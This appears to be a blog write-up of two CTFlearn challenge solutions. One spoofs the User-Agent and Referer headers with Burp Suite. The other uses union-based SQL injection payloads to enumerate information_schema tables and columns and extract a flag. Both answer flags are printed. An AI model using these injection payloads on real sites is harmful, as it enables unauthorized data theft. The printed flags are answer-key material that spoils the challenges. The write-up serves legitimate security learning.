CTFlearn solution: Don’t Bump Your Head(er)

When viewing this page source, we got a message:

Then, we will use Burp Suite to catch the packet and change the Header to:

User-Agent: Sup3rS3cr3tAg3nt

And we got another message:

Hence, we will add two lines to the Header:

User-Agent: Sup3rS3cr3tAg3nt
Referer: awesomesauce.com

And we found the flag:

Flag: flag{did_this_m3ss_with_y0ur_h34d}

CTFlearn solution: Inj3ction Time

In this lab, we will find all tables with payload:

1 union SELECT null,table_name,null,null FROM information_schema.tables--

and we found table “w0w_y0u_f0und_m3“.

Then, we find all columns with payload:

1 union SELECT null,column_name,null,null FROM information_schema.columns--

and we found column “f0und_m3“.

Finally, we use payload:

1 union SELECT null,f0und_m3,null,null FROM w0w_y0u_f0und_m3--

And we find the flag.

Flag: abctf{uni0n_1s_4_gr34t_c0mm4nd}

Design a site like this with WordPress.com
Get started